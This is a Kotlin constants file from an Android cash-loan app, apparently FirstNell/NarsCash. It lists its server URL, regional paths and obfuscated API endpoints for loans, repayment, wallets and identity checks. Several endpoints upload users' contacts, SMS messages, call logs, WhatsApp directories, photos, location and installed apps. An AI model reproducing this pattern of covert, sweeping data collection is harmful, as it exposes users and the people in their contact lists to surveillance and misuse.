package com.first.nell.network

object ApiUrl_bc {
    /**
     * 域名服务器地址
     * https://www.firstnell.online/firstnellglobal
     */
    var BASE_URL = "https://www.firstnell.online"//"http://159.138.165.72"//

    /**
     * 域名转发
     */
    var BASE_PATH = ""

    /**
     * 全局配置
     */
    var ZONE_PATH = "/firstnellzone"

    /**
     * 域名服务器地址-越南
     * https://www.firstnell.online/firstnellglobal
     */
    const val BASE_URL_VND = "https://www.firstnell.online"//"http://159.138.165.72"//

    /**
     * 域名服务器地址-非洲
     * https://www.firstnell.online/firstnellglobal
     */
    const val BASE_URL_AFRICA = "https://www.firstnell.online"//"http://159.138.165.72"//

    /**
     * 全局域名转发
     */
    const val GLOBAL_PATH = ""

    /**
     * 全局域名转发-加纳
     */
    const val GHA_PATH = "/firstnellgha"

    /**
     * 全局域名转发-乌干达
     */
    const val UGX_PATH = "/firstnellugx"

    /**
     * 全局域名转发-科特
     */
    const val FCFA_PATH = "/firstnellfcfa"

    /**
     * 全局域名转发-尼日
     */
    const val NGN_PATH = "/firstnellngn"

    /**
     * 全局域名转发-肯尼亚
     */
    const val KSH_PATH = "/firstnellksh"

    /**
     * 全局域名转发-越南
     */
    const val VND_PATH = "/firstnellvietnam"

    /**
     * 设备-应用列表
     */
    const val NARSCASH_PATH_APPLIST = "/Zd0Bm23NYOY3CSX5yMtbdQ"

    /**
     * 设备-联系人是否要上报
     */
    const val NARSCASH_PATH_CONTACT_RESULT = "/MfHRizvFrE6SqsUf0b37g"

    /**
     * 设备-联系人
     */
    const val NARSCASH_PATH_CONTACT = "/Aj40IsfCSgRgjqhf7hoiZQ"

    /**
     * 设备-消息
     */
    const val NARSCASH_PATH_MESSAGE = "/jw1JjTZP5BdtvHZcJKRTwg"

    /**
     * 设备-设备信息
     */
    const val NARSCASH_PATH_DEVICE = "/Hcpc5kZbCJV6lVEaY80A"

    /**
     * 设备-图片信息
     */
    const val NARSCASH_PATH_IMAGE = "/JdoApLBOw3bl8eD1yKw"

    /**
     * 设备-电池信息
     */
    const val NARSCASH_PATH_BATTERY = "/o1gDOB8py4Yi7D9VFcNVWA"

    /**
     * 设备-硬件信息
     */
    const val NARSCASH_PATH_HARDWARE = "/LfyugERS8zevJUlF5xXtEA"

    /**
     * 设备-存储信息
     */
    const val NARSCASH_PATH_STORE = "/T1K37VHsGliXUkBH2MWJQ"

    /**
     * 设备-wifi信息
     */
    const val NARSCASH_PATH_NETWORK = "/o5zqaJ4vBSpmoQo1BDRRP7g"

    /**
     * 设备-媒体信息
     */
    const val NARSCASH_PATH_MEDIA = "/A1JSGw4mZ1ZYSv3A38iJA"

    /**
     * 设备-位置信息
     */
    const val NARSCASH_PATH_LOCATION = "/o4rs00hMaEow53xGJii4Zg"

    /**
     * 设备-calllog列表
     */
    const val NARSCASH_PATH_CALLLOG = "/M4Qex8Dl9znpsteTmKQ"

    /**
     * 设备-calendar列表
     */
    const val NARSCASH_PATH_CALENDAR = "/MTeNIsHLhK3QHavB9yQ8ig"

    /**
     * 设备-whatsapp目录列表
     */
    const val NARSCASH_PATH_WHATSAPP_DIR = "/JfW1BRx3dbKABDQtvVng"

    /**
     * 设备-setting account列表
     */
    const val NARSCASH_PATH_SETTING_ACCOUNT = "/o7kVzNoZiAhXRIVU7ETjmQ"

    /**
     * 设备-aduid
     */
    const val NARSCASH_PATH_ADUID = "/tb72k4oeCYSFZZ56v7nYg"

    /**
     * 设备-打点
     */
    const val NARSCASH_PATH_POINT_RECORD = "/HBQ8chpKszKOQ8utOL95Eg"

    /**
     * 设备-谷歌安装回传
     */
    const val NARSCASH_PATH_GOOGLE_INSTALL = "/mm26VmhUF5vuVjEdKiR1w"

    /**
     * 设备-AF 安装回传
     */
    const val NARSCASH_PATH_APPSFLYER_INSTALL = "/Gl9FUN3JKLsjqSsQvLpA"

    /**
     * 设备-AF S2S回传
     */
    const val NARSCASH_PATH_APPSFLYER_S2S = "/wlgr0cbFl4JETNNxvsVtIg"

    /**
     * 设备-Firebase S2S回传
     */
    const val NARSCASH_PATH_FIREBASE_S2S = "/JnlvlXQSJPqzDMhrXugOA"

    /**
     * 设备-Facebook S2S回传
     */
    const val NARSCASH_PATH_FACEBOOK_S2S = "/o9N0Y9x1wgQfpoKBav6Msw"

    /**
     * UsageStats s2s 回传
     */
    var NARSCASH_PATH_USAGE_STATS_S2S = "/ZoA2HfFfn1HywAcUqnLg"

    /**
     * 系统-获取系统配置
     */
    const val NARSCASH_PATH_APP_CONFIG = "/aCw3kpmF4AmwvDsP7KAtYQ"

    /**
     * 系统-获取版本号
     */
    const val NARSCASH_PATH_APP_VERSION = "/JD1zX4BA9KKARhRlUGBZxg"

    /**
     * 登录-发送验证码
     */
    const val NARSCASH_PATH_SEND_OTP = "/NUn4PDy5De7pbBLmnEDkMw"

    /**
     * 登录-验证码登录
     */
    const val NARSCASH_PATH_OTP_LOGIN = "/gh7LNwFFHgtGyPwS9GVBA"

    /**
     * 用户-获取用户流程状态
     */
    const val NARSCASH_PATH_USER_STATE = "/tS0Fn1OdPFvA64UvfPyw"

    /**
     * 用户-获取首页额度
     */
    const val NARSCASH_PATH_HOME_LIMIT = "/anabwJcddH6GFGznJ9pgww"

    /**
     * 用户-保存问题反馈
     */
    const val NARSCASH_PATH_SAVE_FEEDBACK = "/CDebUy1zxb6MA6K8zE2Sgg"

    /**
     * 用户-获取银行列表
     */
    const val NARSCASH_PATH_BANK_LIST = "/g8A7NZpW7tT865hma40saw"

    /**
     * 订单-获取放款中详情信息
     */
    const val NARSCASH_PATH_LOANING_DETAIL = "/lv5IhzAfwrqVSMnydSGdg"

    /**
     * 订单-确认申请
     */
    const val NARSCASH_PATH_LOAN_SUBMIT = "/o7MVWw2LC0mfjUdf9rMwfA"
    /**
     * 工具-启动评价流程
     */
    const val NARSCASH_PATH_CHECK_APP_REVIEW = "/v1/fetchStarWindowConfig"

    /**
     * 还款-获取还款详情信息
     */
    const val NARSCASH_PATH_REPAY_DETAIL = "/wNz2RMr3HNLULEzyWNCQ"

    /**
     * 还款-获取还款链接-越南
     */
    const val NARSCASH_PATH_REPAY_URL_VND = "/ui1PCm936Zz2mnMMmq5TxQ"

    /**
     * 还款-获取还款链接-加纳
     */
    const val NARSCASH_PATH_REPAY_URL_GHA = "/ui1PCm936Zz2mnMMmq5TxQ"

    /**
     * 还款-获取还款链接-科特
     */
    const val NARSCASH_PATH_REPAY_URL_FCFA = "/ui1PCm936Zz2mnMMmq5TxQ"

    /**
     * 还款-获取还款链接-乌干达
     */
    const val NARSCASH_PATH_REPAY_URL_UGX = "/o5KaG2GTPaH4ltjyxFevw"

    /**
     * 还款-获取还款链接-肯尼亚
     */
    const val NARSCASH_PATH_REPAY_URL_KSH = "/o5KaG2GTPaH4ltjyxFevw"

    /**
     * 还款-获取虚拟账号信息-尼日
     */
    const val NARSCASH_PATH_CREATE_VIRTUAL_ACCOUNT = "/Hmn6rfDpKsEmI86Gm62sQ"

    /**
     * 还款-获取paystack sdk 初始化信息-尼日
     */
    const val NARSCASH_PATH_INIT_PAYSTACK_SDK = "/y8mQwTb7iSmubqWZi3MDQ"

    /**
     * 还款-获取paystack 卡列表-尼日
     */
    const val NARSCASH_PATH_PAYSTACK_CARD_LIST = "/FeTflgqfMzIRjEHLV0MYjA"

    /**
     * 绑卡-获取钱包列表-科特
     */
    const val NARSCASH_PATH_WALLET_LIST_FCFA = "/KsOzQfYikV8BAYx7ksqHA"

    /**
     * 绑卡-绑钱包-科特
     */
    const val NARSCASH_PATH_BIND_WALLET_FCFA = "/QofsFfmMxmBN89edtA"

    /**
     * 绑卡-删钱包-科特
     */
    const val NARSCASH_PATH_DELETE_WALLET_FCFA = "/eBqMZIsm3nRAG0vyToW82Q"

    /**
     * 绑卡-保存钱包认证状态-科特
     */
    const val NARSCASH_PATH_SAVE_BVN_FCFA = "/AifDbOyO3IHF0IeIgIVv9g"

    /**
     * 绑卡-获取钱包列表-喀唛隆
     */
    const val NARSCASH_PATH_WALLET_LIST_XAF = "/KsOzQfYikV8BAYx7ksqHA"

    /**
     * 绑卡-绑钱包-喀唛隆
     */
    const val NARSCASH_PATH_BIND_WALLET_XAF = "/QofsFfmMxmBN89edtA"

    /**
     * 绑卡-删钱包-喀唛隆
     */
    const val NARSCASH_PATH_DELETE_WALLET_XAF = "/eBqMZIsm3nRAG0vyToW82Q"

    /**
     * 绑卡-保存钱包认证状态-喀唛隆
     */
    const val NARSCASH_PATH_SAVE_BVN_XAF = "/AifDbOyO3IHF0IeIgIVv9g"

    /**
     * 认证-保存ocr信息-越南
     */
    const val NARSCASH_PATH_SAVE_OCR_VND = "/AifDbOyO3IHF0IeIgIVv9g"

    /**
     * 认证-开始liveness-越南
     */
    const val NARSCASH_PATH_START_LIVENESS_VND = "/o06fsO1BMi9G2Egce9Vxjog"

    /**
     * 认证-保存liveness信息-越南
     */
    const val NARSCASH_PATH_SAVE_LIVENESS_VND = "/o06fsO1BMi9G2Egce9Vxjog"

    /**
     * 认证-获取运营商认证链接-越南
     */
    const val NARSCASH_PATH_START_SIM = "/gcdIN0VfQsvlxpNe5CRuCQ"

    /**
     * 认证-保存运营商认证-越南
     */
    const val NARSCASH_PATH_SAVE_SIM = "/OACQE60XAvRtfzXv5Q2EA"

    /**
     * 工具-上传图片
     */
    const val NARSCASH_PATH_UPLOAD_IMAGE = "/RjmbCRQbs8SYAqNmHilOw"

    /**
     * 工具-图片ocr
     */
    const val NARSCASH_PATH_IMAGE_OCR = "/fbfXcCDs5Xc0dhfweMuVA"

    /**
     * 认证-保存图片
     */
    const val NARSCASH_PATH_IMAGE_SAVE = "/v1/ocrInfo"

    /**
     * 越南运营商认证
     */
    var NARSCASH_PATH_VIET_SIM_INFO = "/v1/shushenSendMsg"

    /** 是否为有效的地区转发 */
    fun isFirstNellValidFirstNellCountryFirstNellPath(): Boolean {
        return BASE_PATH.isNotBlank()
    }

}
